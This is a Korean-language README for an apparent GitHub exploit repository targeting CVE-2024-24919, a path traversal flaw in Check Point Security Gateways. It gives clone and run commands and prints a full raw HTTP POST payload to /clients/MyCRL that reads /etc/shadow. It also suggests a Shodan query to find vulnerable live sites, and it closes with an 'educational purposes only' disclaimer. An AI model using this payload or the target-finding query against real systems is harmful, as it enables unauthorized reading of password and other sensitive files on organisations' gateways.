CVE-2024-24919-Exploit

개요

이 저장소는 CVE-2024-24919에 대한 파이썬 익스플로잇을 포함하고 있습니다. 이 취약점을 통해 취약한 페이지에서 민감한 파일을 읽을 수 있습니다.

이 익스플로잇은 먼저 대상이 취약한지 확인한 후, 사용자가 지정한 경로를 가져옵니다.

심각도: 치명적

먼저 저장소를 클론합니다:

git clone https://github.com/Rug4lo/CVE-2024-24919-Exploit
cd CVE-2024-24919-Exploit

권한을 부여하고 python3로 익스플로잇을 실행합니다

chmod +x exploit.py
python3 exploit.py

그런 다음 단계를 따르면 지정한 파일의 데이터를 얻을 수 있습니다.

어려움을 겪고 있다면 지정한 URL이 메인 URL인지 확인하세요

✓ https://google.com

✘ https://google.com/search?client=firefox

먼저 웹사이트가 원격 액세스 VPN 또는 모바일 액세스 소프트웨어가 활성화된 Check Point Security Gateways를 가지고 있는지 확인해야 합니다.

이 익스플로잇에서는 {ip}/clients/MyCRL 엔드포인트를 대상으로 합니다.

이 엔드포인트는 POST 요청을 할 때 취약하며, CSHELL/ 문자열과 Path Traversal을 사용하여 읽고자 하는 파일의 경로를 추가합니다.

요청은 다음과 같습니다:

POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

이 모든 것은 소스 코드를 분석하여 얻은 것입니다.

프로세스에 대한 자세한 내용은 다음 포스트를 확인하세요 --> https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/

이 취약점을 테스트하려면 Sodan을 사용하여 취약한 웹사이트를 찾을 수 있습니다. sodan에서 다음 쿼리를 사용하세요.

Server: “Check Point SVN Foundation”

이 스크립트는 교육 목적으로만 제공됩니다. 책임감 있게 사용하고, 접근 권한이 있는 시스템에서만 사용하십시오.